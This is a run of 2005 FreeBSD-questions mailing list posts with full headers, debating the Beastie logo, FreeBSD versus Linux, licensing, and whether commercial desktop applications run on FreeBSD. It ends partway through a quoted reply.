14:42:08 -0600 (CST) Received: from [127.0.0.1] (laptop.makeworld.com [198.92.228.35]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by makeworld.com (Postfix) with ESMTP id 1D0C96123 for ; Sat, 12 Feb 2005 14:42:08 -0600 (CST) Message-ID: <420E6A19.5000805@makeworld.com> Date: Sat, 12 Feb 2005 14:42:01 -0600 From: Chris User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: FreeBSD-questions@FreeBSD.org X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by ClamAV 0.75.1/amavisd-new-2.2.1 (20041222) at makeworld.com - Isn't it ironic Subject: A list question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:42:12 -0000 As someone has pointed out before, and NEEDS to be mentioned yet again. Let's move the conversations to the proper lists. Chat and Advocacy come to mind. Let's not continue to fan the flames and have the "Anthony" users out there more reason to "win" users over to another way of thinking/doing/etc. Let the "Anthony's" do so in the proper forum... This list is not that forum. So, for those of us that wish the list returned to normalcy, I ask - can we move the threads to the proper place? Chris From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:42:43 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4ED7016A4CE for ; Sat, 12 Feb 2005 20:42:43 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 09A7B43D41 for ; Sat, 12 Feb 2005 20:42:43 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 42FC31C0009D for ; Sat, 12 Feb 2005 21:42:42 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 24BAE1C00094 for ; Sat, 12 Feb 2005 21:42:42 +0100 (CET) X-ME-UUID: 20050212204242150.24BAE1C00094@mwinf1112.wanadoo.fr Date: Sat, 12 Feb 2005 21:42:38 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1748350756.20050212214238@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <86mzu9vhkn.fsf@xps.des.no> References: <863bw2vxpk.fsf@xps.des.no> <163678746.20050212124602@wanadoo.fr> <86mzu9vhkn.fsf@xps.des.no> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Subject: Re: Why in the world you should have a vote: was RE: Please don't change Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:42:43 -0000 Dag-Erling Smørgrav writes: > To whom? The FreeBSD project is not a legal entity. Then I can release it to the public domain. > That is a very bad idea, because you can't disclaim liability for work > which you release in the public domain. Whether you retain or relinquish the copyright has no effect on your liability. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:43:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4E28816A4CE for ; Sat, 12 Feb 2005 20:43:45 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id E8E9E43D46 for ; Sat, 12 Feb 2005 20:43:44 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 4EA3E1C00092 for ; Sat, 12 Feb 2005 21:43:44 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 366B81C0008C for ; Sat, 12 Feb 2005 21:43:44 +0100 (CET) X-ME-UUID: 20050212204344223.366B81C0008C@mwinf1112.wanadoo.fr Date: Sat, 12 Feb 2005 21:43:43 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1965285046.20050212214343@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <86is4xvhdk.fsf@xps.des.no> References: <163678746.20050212124602@wanadoo.fr> <1198432873.20050212130307@wanadoo.fr> <86is4xvhdk.fsf@xps.des.no> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Subject: Re: Why in the world you should have a vote: was RE: Please don'tchange Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:43:45 -0000 Dag-Erling Smørgrav writes: > No. Existing copies would still be distributable and derivable under > the original license terms. What constitutes an "existing copy" in a world of downloads? -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:51:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9AF2916A4D3 for ; Sat, 12 Feb 2005 20:51:44 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5205043D31 for ; Sat, 12 Feb 2005 20:51:44 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 102691C0009B for ; Sat, 12 Feb 2005 21:51:40 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id DFBD61C0009A for ; Sat, 12 Feb 2005 21:51:39 +0100 (CET) X-ME-UUID: 20050212205139916.DFBD61C0009A@mwinf1104.wanadoo.fr Date: Sat, 12 Feb 2005 21:51:32 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1443267912.20050212215132@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502121141.07311.bulliver@badcomputer.org> References: <200502112313.28082.hindrich@worldchat.com> <9162ea4ff171ffc111003a204c81ef7d@HiWAAY.net> <200502121141.07311.bulliver@badcomputer.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:51:44 -0000 darren kirby writes: > I think your interpretation here is a tad glib. I think it's right on the money. The entire Linux movement is fueled by hatred for Microsoft. And the ultimate goal of the Linux movement is to build an OS that walks, talks, and quacks like Microsoft Windows, but doesn't come from Redmond. To me, that seems like a waste of time and energy. The idea in itself of building an alternative desktop operating system is fine. But why does it have to look like Windows? The more closely a system approaches the look and feel of Windows, the less reason there is to use that system instead of Windows. And why use UNIX as a basis for a desktop GUI? Just because it's there? I know Apple was forced to resort to that, but that doesn't make it a good idea. > Do you think these people are writing any software? Are they designing > programming interfaces? Do they have a damn thing to do with the > development of Linux or any of its supporting software? Yes, a lot of them do. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:51:50 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 726BB16A4F5 for ; Sat, 12 Feb 2005 20:51:50 +0000 (GMT) Received: from mail.chrononomicon.com (chrononomicon.com [216.37.143.27]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2F45143D39 for ; Sat, 12 Feb 2005 20:51:50 +0000 (GMT) (envelope-from bsilver@chrononomicon.com) Received: from [192.168.0.42] (unknown [192.168.0.42]) by mail.chrononomicon.com (Postfix) with ESMTP id 6A2B1349AB0 for ; Sat, 12 Feb 2005 15:51:49 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: <823306184.20050212113045@wanadoo.fr> References: <1935025570.20050211232605@wanadoo.fr> <200502120122.33589.reso3w83@verizon.net> <823306184.20050212113045@wanadoo.fr> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <3689589ceb0c4136e92d14c65c5df940@chrononomicon.com> Content-Transfer-Encoding: 7bit From: Bart Silverstrim Date: Sat, 12 Feb 2005 15:51:49 -0500 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619.2) Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:51:50 -0000 On Feb 12, 2005, at 5:30 AM, Anthony Atkielski wrote: > Michael C. Shultz writes: > >> I Agree! My FreeBSD desktop is very stable and user friendly. What >> ever time I spend fixing/managing desktops is on my friends windows >> machines, never my own because it always just works. > > Maybe you can explain to me how to get the following applications to > run > on a FreeBSD desktop: > > Adobe Photoshop > Adobe Illustrator > Quark XPress > The Sims 2 I never quite liked these arguments. The question to ask is, "What can I use for graphics editing on platform X? What can I use for desktop publishing on platform Y?". Otherwise, it's like saying, "Explain how I can get a Ford from Chevrolet?" Not everyone absolutely needs Photoshop to edit their family Xmas digicam pictures. -Bart From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:52:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0DF2116A4CE for ; Sat, 12 Feb 2005 20:52:33 +0000 (GMT) Received: from rambo.401.cx (rambo.401.cx [80.65.205.166]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1A0F243D31 for ; Sat, 12 Feb 2005 20:52:32 +0000 (GMT) (envelope-from listsub@401.cx) Received: from [127.0.0.1] (rocky [192.168.200.2]) by rambo.401.cx (8.13.1/8.13.1) with ESMTP id j1CKqR7Y038437; Sat, 12 Feb 2005 21:52:28 +0100 (CET) (envelope-from listsub@401.cx) Message-ID: <420E6CE9.5000508@401.cx> Date: Sat, 12 Feb 2005 21:54:01 +0100 From: "Roger 'Rocky' Vetterberg" User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jerry McAllister References: <200502120620.j1C6K5k02714@clunix.cl.msu.edu> In-Reply-To: <200502120620.j1C6K5k02714@clunix.cl.msu.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 0506-1, 2005-02-11), Outbound message X-Antivirus-Status: Clean cc: Jerry McAllister cc: freebsd-questions@freebsd.org Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:52:33 -0000 Jerry McAllister wrote: >>Matthias Buelow writes: >> >> >>>And your point is..? >> >>I can see that FreeBSD marketing has a long way to go. > > > To where? FreeBSD is not marketed in any particular way - on purpose. > No one wants to do it, so no one will do it. > > ////jerry > I want to, and frequently do, market FreeBSD. I can tell you that the website and the community is not much help when trying to sell FreeBSD to the un-enlightened. When trying to sell it in commercial companies boardrooms, I make damn sure not to mention Beastie and usually never even show them the official webpage. -- R From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:55:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C617F16A4CE for ; Sat, 12 Feb 2005 20:55:01 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7985043D2F for ; Sat, 12 Feb 2005 20:55:01 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id A6BAC1C0009F for ; Sat, 12 Feb 2005 21:55:00 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 86A541C0009E for ; Sat, 12 Feb 2005 21:55:00 +0100 (CET) X-ME-UUID: 20050212205500551.86A541C0009E@mwinf1102.wanadoo.fr Date: Sat, 12 Feb 2005 21:55:00 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1188345459.20050212215500@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <5637FDDF-7D32-11D9-B134-000D933E3CEC@shire.net> References: <5637FDDF-7D32-11D9-B134-000D933E3CEC@shire.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:55:01 -0000 Chad Leigh -- Shire.Net LLC writes: > After taking out all the kernel level stuff for the GUI and other > performance enhancements that MS has made for the gamers and other > people, I would say that it is probably true that the NT kernel and the > BSD kernels are in the same order of magnitude of stability. Dave > Cutler and his crew from DEC did a good job with VMS and VAX/ELN and > RSX-11M and I would assume that they would do the same job in their > kernel design and implementation for M$. They did. The kernel is excellently written. Microsoft threw a lot of that away in favor of the gamers you mention and of clueless Windows desktop users generally. The solid NT kernel is still there, but MS has drilled a great many large holes through it. > disclaimer: I have not seen the source to NT but I do know the > reputations of the implementors and designers of (at least the > original) NT kernel. I have seen the source to both NT and the Win 9x family, and the difference is like night and day. The former was clearly written by a lot of people with a lot of prior experience under their belts; the latter was clearly written by people who had never written much of anything before they started working on Windows. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:56:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7B48F16A4CE for ; Sat, 12 Feb 2005 20:56:03 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 396EF43D48 for ; Sat, 12 Feb 2005 20:56:03 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 9D96C1C0008A for ; Sat, 12 Feb 2005 21:56:02 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 71C791C0008B for ; Sat, 12 Feb 2005 21:56:02 +0100 (CET) X-ME-UUID: 20050212205602466.71C791C0008B@mwinf1104.wanadoo.fr Date: Sat, 12 Feb 2005 21:55:51 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1875700995.20050212215551@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502121221.58874.krinklyfig@spymac.com> References: <823306184.20050212113045@wanadoo.fr> <1164700865.20050212122335@wanadoo.fr> <200502121221.58874.krinklyfig@spymac.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:56:03 -0000 Joshua Tinnin writes: > Maybe you should write to the developer of Agent and inquire about this > issue. What issue? -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:00:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AAA2C16A4D2; Sat, 12 Feb 2005 21:00:56 +0000 (GMT) Received: from engine140.deployzone.net (engine140.deployzone.net [193.17.85.140]) by mx1.FreeBSD.org (Postfix) with SMTP id A49C343D2F; Sat, 12 Feb 2005 21:00:55 +0000 (GMT) (envelope-from chris@czv.com) Received: from adsl-212-90-218-5.cybernet.ch [212.90.218.5] by engine140.deployzone.net; Sat, 12 Feb 2005 22:00:16 +0100 In-Reply-To: <420E62DB.5050006@401.cx> References: <420E5604.9040401@401.cx> <8c411210ef532a4d2d5fd69636632809@czv.com> <420E62DB.5050006@401.cx> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <0892bf6a3cf2d8092e296157bbcb6148@czv.com> Content-Transfer-Encoding: 7bit From: Chris Zumbrunn Date: Sat, 12 Feb 2005 22:00:53 +0100 To: "Roger 'Rocky' Vetterberg" X-Mailer: Apple Mail (2.619.2) cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:00:56 -0000 On Feb 12, 2005, at 9:11 PM, Roger 'Rocky' Vetterberg wrote: > Chris Zumbrunn wrote: > [snip] >> http://top.ch/sitedata/freebsd/beastie.gif >> > [snip] > Maybe just the FreeBSD part and a couple of stylized horns over it, > but that would mean Beastie would not be clearly visible and I dont > know if I dare to suggest that. ;) I agree something like this... http://top.ch/sitedata/freebsd/freehorns.gif ...would be possible as well. But personally, I think FreeBSD should celebrate some of its idiosyncrasies - specially the ones that are representative of its BSD UNIX tradition. To professionalize FreeBSD we would have to change its name before we would "have to" drop Beastie as its logo. It's probably even true that FreeBSD is more associated and recognized by its Beastie logo than by its name - and I'm not kidding. Chris chris@czv.com +41 329 41 41 41 Chris Zumbrunn Ventures - http://www.czv.com/ Internet Application Technology - Reduced to the Maximum From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:01:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 25E6D16A4E3 for ; Sat, 12 Feb 2005 21:01:02 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id A9E3643D3F for ; Sat, 12 Feb 2005 21:01:01 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1101.wanadoo.fr (SMTP Server) with ESMTP id DA70E1C000AB for ; Sat, 12 Feb 2005 22:01:00 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1101.wanadoo.fr (SMTP Server) with ESMTP id BF9F71C00098 for ; Sat, 12 Feb 2005 22:01:00 +0100 (CET) X-ME-UUID: 20050212210100785.BF9F71C00098@mwinf1101.wanadoo.fr Date: Sat, 12 Feb 2005 22:01:00 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <319609464.20050212220100@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <20050212120124.19AAF16A4CF@hub.freebsd.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:01:02 -0000 Vonleigh Simmons writes: > Rat Bastards at FreeBSD that don't break into the companies, steal the > code, and port their apps. I don't understand this comment. >> I can go months without rebooting. My NT machine has gone for nearly a >> year without a reboot. > > *looks up your IP* My IP won't tell you what uptime I have on my systems, although Netcraft can tell you how long the production server has been running (but I can save you the trouble: I booted it 26 hours and 50 minutes ago, because I had thought that I had soft updates turned off). -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:02:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DF91816A4CE for ; Sat, 12 Feb 2005 21:02:18 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 99F4643D3F for ; Sat, 12 Feb 2005 21:02:18 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 0244F1C00099 for ; Sat, 12 Feb 2005 22:02:18 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id D1E401C00092 for ; Sat, 12 Feb 2005 22:02:17 +0100 (CET) X-ME-UUID: 20050212210217859.D1E401C00092@mwinf1102.wanadoo.fr Date: Sat, 12 Feb 2005 22:02:08 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <181694755.20050212220208@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502121241.11677.krinklyfig@spymac.com> References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> <200502121241.11677.krinklyfig@spymac.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:02:19 -0000 Joshua Tinnin writes: > I see that you've volunteered your efforts once again in an area you > found lacking. Not in this area, although I did volunteer some DTP work. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:05:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D300B16A4CE for ; Sat, 12 Feb 2005 21:05:11 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8757443D1D for ; Sat, 12 Feb 2005 21:05:11 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id BFE781C0009E for ; Sat, 12 Feb 2005 22:05:10 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id A20CF1C0009D for ; Sat, 12 Feb 2005 22:05:10 +0100 (CET) X-ME-UUID: 20050212210510663.A20CF1C0009D@mwinf1112.wanadoo.fr Date: Sat, 12 Feb 2005 22:05:10 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <546604224.20050212220510@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <3689589ceb0c4136e92d14c65c5df940@chrononomicon.com> References: <1935025570.20050211232605@wanadoo.fr> <823306184.20050212113045@wanadoo.fr> <3689589ceb0c4136e92d14c65c5df940@chrononomicon.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:05:11 -0000 Bart Silverstrim writes: > I never quite liked these arguments. The question to ask is, "What can > I use for graphics editing on platform X? What can I use for desktop > publishing on platform Y?". Not in this case, because many of these applications must produce files that I can share with others, and/or they must work with legacy files that I've collected myself, and/or they must read files provided to me by others. So equivalent functionality isn't good enough: it has to be the same application. > Not everyone absolutely needs Photoshop to edit their family Xmas > digicam pictures. Neither do I. But I do a lot of other editing. And the average family user is better off using a turnkey commodity OS like Windows than trying to install something like UNIX. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:07:14 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2FB2F16A4D3 for ; Sat, 12 Feb 2005 21:07:11 +0000 (GMT) Received: from myway.com (nn7.excitenetwork.com [207.159.120.61]) by mx1.FreeBSD.org (Postfix) with ESMTP id 969AF43D1D for ; Sat, 12 Feb 2005 21:07:10 +0000 (GMT) (envelope-from ad5gb@myway.com) Received: by mprdmxin.myway.com (Postfix, from userid 110) id D92753976; Sat, 12 Feb 2005 16:07:02 -0500 (EST) To: bulliver@badcomputer.org, freebsd-questions@freebsd.org Received: from [216.37.88.11] by mprdmailfe1.nwk.myway.com via HTTP; Sat, 12 Feb 2005 16:07:02 EST X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: ID = 55d7dca004bce6cff4cfdb05d5fc0634 From: "ad5gb" MIME-Version: 1.0 X-Sender: ad5gb@myway.com X-Mailer: PHP Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <20050212210702.D92753976@mprdmxin.myway.com> Date: Sat, 12 Feb 2005 16:07:02 -0500 (EST) Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: ad5gb@myway.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:07:14 -0000 Did I miss something here? If so, please forgive the intrusion and waste of bandwidth. But I don't recall David saying that FreeBSD had a superior human interface... anywhere. I tend to agree with David having had to try to build software on my FBSD systems that came from the 'Linux community' (i.e. stuff outside of the ports or packages trees) and some of it has a MS-ish 'feel' in that it's our way or the highway. Much of this stuff seems to have a definite MS look-and-feel and even to the point of MS-like annoyances. I agree with you however that Linux is lovable. Indeed. I am fortunate enough to work for a company who uses it in every one of it's 3300+ stores across the nation. And it does things that MS can only DREAM of doing. What really separates the OS's though is the kernel. Not userland software. In my humble ( and somewhat limited ) opinion.... the BSD kernel has proven to be far more robust and reliable than it's Linux counterpart. I've used FBSD since 2.1.0 and in all but a few occasions, FBSD's TCP/IP and networking performance exceeded any of the Linux distros performance by margins of as little as 5%, to as much as 20% in measurable throughput. ( I used to have a lot of time on my hands so I could fool with such things) >From a personal standpoint, what bugs me MOST about the Linux kernel, is the "thread-is-a-process" notion. It drives me nuts. (I'll make an appointment tomorrow) The latest 5x FBSD kernels have shown significant progress (and advantage over Linux) in multi-threading in my limited testing. Out of the box.... Linux distros might be 'prettier' with more elaborate 'default' menu configurations and such. But IMH(and limited)O the kernels can't compete. But let your own bit/byte counts be your guide. Humbly.... -- Randall D. DuCharme (Radio AD5GB) Powered by FreeBSD! The Power to Serve --- On Sat 02/12, darren kirby < bulliver@badcomputer.org > wrote: From: darren kirby [mailto: bulliver@badcomputer.org] To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 11:41:01 -0800 Subject: Re: Freebsd vs. linux quoth the David Kelly:

> Look closely at the Linux community and you'll find its mostly
> ex-Windows users focused on what Microsoft is doing. The desire is to
> one-up Microsoft at Microsoft's own game. Their definition of
> "computer" and "human interface" was written by Microsoft and still
> can't think outside of that box.

I think your interpretation here is a tad glib. Sure there are thousands of
